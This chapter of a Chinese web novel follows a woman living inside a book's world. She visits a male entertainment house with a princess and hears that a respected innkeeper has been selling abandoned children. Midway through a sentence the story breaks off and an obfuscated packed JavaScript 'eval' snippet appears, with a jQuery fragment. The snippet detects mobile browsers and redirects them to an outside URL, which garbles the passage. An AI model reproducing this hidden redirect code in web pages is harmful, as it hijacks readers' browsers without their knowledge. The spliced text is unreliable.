晏安宁略显尴尬,她眼角抽搐,一把推开了怀里的男人。
“呀!小心点,别把粉蹭我身上了!”
叶清祎倒是轻车熟路,她给了男人几两碎银,道:“小哥儿,麻烦介绍个最红的头牌,送来我们姐两的包厢,钱少不了你的。”
男人眼白一翻,继而绕到另一侧,他捏着手帕在叶清祎身前来回晃,“还是这位姑娘大气,瞧着就与凡人不同。”
他继续说道:“只是可惜,咱们这儿当红的头牌青雾,早了一步被张知县点了去,姑娘下回早些来,奴家将青雾给姑娘留着,不过还有个蓝雾,哎哟这个蓝雾可是多少公子小姐争着抢着......”
晏安宁也回敬了男人一个白眼,她快要被他刻意掐着嗓子说话的难听声音吵死了。
叶清祎莞尔一笑,声音淡雅:“不用说这些,我们只听曲儿。”
男人冷哼一声,讥诮道:“嘁,都来这风月地了,还装什么清高啊。”
晏安宁强忍着想揍一顿面前这个花里胡哨的竹节虫的冲动,只是问道:“听曲儿是什么价?”
“三十两银子一场。”
见晏安宁一脸的不可置信,男子嗤笑了一声道:“姑娘若是嫌贵,大可以把钱留着做嫁妆,趁现在还干净赶紧找个男人嫁了稳妥。”
晏安宁摇摇头,玩味的笑了笑,“小哥儿错了,我并非嫌贵,方才诧异只是觉着这儿的小倌儿赚钱太过容易了,三十两银子,多少人家一年的吃穿用度也不过一二十两银子,你们只是唱个曲儿就到手了,是因为小倌儿太少物以稀为贵吗?”
叶清祎也附和道:“嘴巴用在该用的地方,安排个人来我们包厢唱曲儿就行,记住要好看的,丑的别往我们这儿塞,当然,银子不会少了你的。”
男人并不理会晏安宁的嘲讽,只是朝叶清祎敷衍了事:“是是是,姑娘教训的是,这就去给您挑最好看的送到您的雅间。”
---
晏安宁是有贼心没贼胆,虽说还活着时成天和裴语嫣她们说什么“发达了给姐妹一人点十个男模这种话”,但终究只是说说而已,她还是个新时代好青年,真要让她点个小倌儿玩玩,她立马认怂。
她在包厢里来回踱步,突然察觉到一侧的墙壁上有道帘子,上前拉开后发现竟然是满墙的春宫图,各种姿势应有尽有,这阵仗,就算是在进口漫画上也不曾见过。
晏安宁好奇不已,凑上前去仔细钻研了一番,才想到今天还有正事儿没办。
她拉起叶清祎的手来到窗子前。
“郡主,你上次带回去那个人是怎样安顿的?”
叶清祎愣了愣,跳上窗台靠着窗栏坐下:“这事儿你是怎么知道的?”
“我那天就在东鼓酒楼楼上的包厢里,看得一清二楚,那个男人叫章淮,脸上有一道疤,天天去东鼓酒楼吃白饭,被客人嫌弃赶了出去,那店家王仁发应该算是个好人吧,也不知怎得,被那章淮反咬一口说他不是个东西,我大概就听明白这些,糊里糊涂乱七八糟的。”
叶清祎把发尾捏在手心绞着花儿道:“这事儿我也问了章淮,他说他骂王仁发是有原因的。”
“什么原因?”
“王仁发是个人伢子。”
又超纲了,原著里根本没有这档子事,王仁发就只是个开篇出现过一次的路人甲。
她去桌子上抓了一把西瓜子,回来靠在窗边,嗑着瓜子道:“细说。”
叶清祎道:“王仁发确实乐善好施,滕州城的百姓们都知道,还没有东鼓酒楼时,他就经常收留一些无家可归的孤儿,有些人家孩子多了养不活,便会趁夜将孩子偷偷扔在他那个小面馆门口,第二日,王仁发见了必定会将这些遗弃子捡回去,那些街上的乞丐,只要能干得动活的,他也会接回家给他们安排点活计,让这群人能混口饱饭吃。
“他还会将一些伶牙俐齿的孩子送到别处去,让他们去到好地方谋一条生路,那些父母自然是感激不尽。”
晏安宁半天没听到其中详情,心里抓了抓:“这些我都知道,难道说他做这些善事是有其他目的的?”
叶清祎努了努嘴,面色些许凝重:“难说,早些时候可能真的只是想做点好事积点德吧,你觉得,仅仅就靠那群去面馆捧场的老爷太太们,这王仁发能在短短几年时间内把巴掌大的小面馆变成滕州最繁华的东鼓酒楼?”
“必有隐情!”
叶清祎点点头:“没错,许多孩子都被他卖到不知何处去了。”
晏安宁气得瓜子也不磕了,瞪大眼睛直嚷嚷:“什么!他真的贩卖儿童?为什么没人报官?报官啊!我就不信这等没人性的事我爹能放任不管。”
又突然发现自己太过于激动,双手捂了捂嘴。
叶清祎长叹一声:“不是你爹不管,实在是没人报官,那些孤儿根本无人问津,亲手将孩子遗弃在面馆门前的父母自然也不会费那个力气去问孩子的归处,更何况被扔掉的大部分都是女娃,更无父母来寻了。”
晏安宁脸色越来越难看,她指节泛白,快把掌心的瓜子捏碎。
“那章淮是怎么发现这件事的?”
“我长话短说吧,章淮胞弟章江被王仁发卖了,章淮去找王仁发好多次,都被各种借口搪塞,他便暗地里跟踪了王仁发一年,发现他确实在做人口交易,哦对了,他脸上的疤就是那时候被划伤的。”
晏安宁眉心拧成一团棉麻,好惨的男主,但是比起清羽郡主最后难产而死,他又显得惨有余辜了一些。
不对,应该说是好惨的章江。
两人还想说些什么,忽然响起了一阵敲门声。
“二位姑娘在里面吗,请姑娘开下门,奴家给二位姑娘送美人儿来了。”
正聊到关键地方的晏安宁极不情愿地带上面纱走到门边,满脸愠色,一把将门拉开。
只见一个身着大红色罗纱衣的小倌儿站在门外,他如水滑绸缎般白嫩的肌肤在红纱衣下若隐若现,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303309|167185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抱着琵琶的胳膊结实有力。
来人微微下蹲行了个礼,声音清脆:“夜狸来给姑娘弹们琴唱曲儿。”
晏安宁脸上的不悦凝住了,她唇角一勾,笑如春风:“快进来快进来。”
“等会儿。”叶清祎止住夜狸,对他旁边那个男人说:“不是说蓝雾吗,怎么随便找一个人来打发我们?”
“奴家方才清点名册,才发现蓝雾也被张知县点了去,姑娘,这夜狸可是我们楼最好的嗓子啊,您若是不愿,要不您看看奴家,奴家怎么样?”
矫揉造作的声音让晏安宁起了一身鸡皮疙瘩。
这人说着就顺势想往叶清祎身上靠,被她一巴掌拍了回去:“滚你的蛋,就他了,你走吧。”
若是早一些见到这场面,晏安宁还会思忖一分,可系统说过,这儿除了世界的大体设定与原书相同,其他皆自由发挥,那么郡主能带自己来这小倌儿馆也不是件稀奇事儿了,只怕这之后还会有更古怪的事。
夜狸已经找了个地儿坐下了,听得叶清祎对他道:“就来一首你最拿手的吧。”
他轻声答道:“是,姑娘。”
花了三十两银子,晏安宁却无心听曲,叶清祎在一边床榻上恣意斜卧,喝着夜狸方才斟来的酒,叶清祎满脸享受,晏安宁只觉得吵闹,人类的悲欢并不相通。
一曲唱罢,晏安宁终于逮住时机问:“小哥儿,你是哪里人啊?”
她想着,若是这人感天动地哭诉一番,兴许她听得一高兴就帮他赎身了。
夜狸放下琵琶,正襟危坐:“奴家本是南州人,前些年南州发了大水,当官的卷了钱财带着家人都往上游避难去了,朝廷派人下来却是指挥我们这些食不果腹的百姓修建堤坝,我父亲和兄长都死在了堤坝上,母亲带着我来到滕州,却又遭了人的骗。”
他说着,眼里噙满水花,接过晏安宁递过去的帕子擦了擦,继续诉苦水:“若非如此,我又何至于沦落于此,干这些女人才干的行当。”
听到这话的晏安宁神色一凝,面色不悦:“你说这话就不对了,什么叫女人才干的行当,都是樊笼里带着镣铐的人,还要分个男人女人?”
晏安宁本还当他是个可怜人,想着给点银子让他攒着好早日赎身,现在看来不如去隔壁赎几位身不由己的小娘子来的实在。
叶清祎倒没有这么多想法,她见晏安宁神色不对,便叫夜狸穿戴齐整,给了几两银子打发他出去了。
---
回去的马车上,晏安宁还在喃喃:“这种破地方我再也不去了。”
叶清祎笑着道:“是这个夜狸无趣,上次我来的时候是另一个小哥儿,比今天这个有趣多了......”
叶清祎后面说的什么晏安宁没听到,因为系统那贱嗖嗖的声音又响了起来:“请玩家尽快完成任务,限期三天,玩家今日进度为0。”
她猛地抬起头,可怜巴巴望着叶清祎:“郡主,我今日去你家住,行吗?”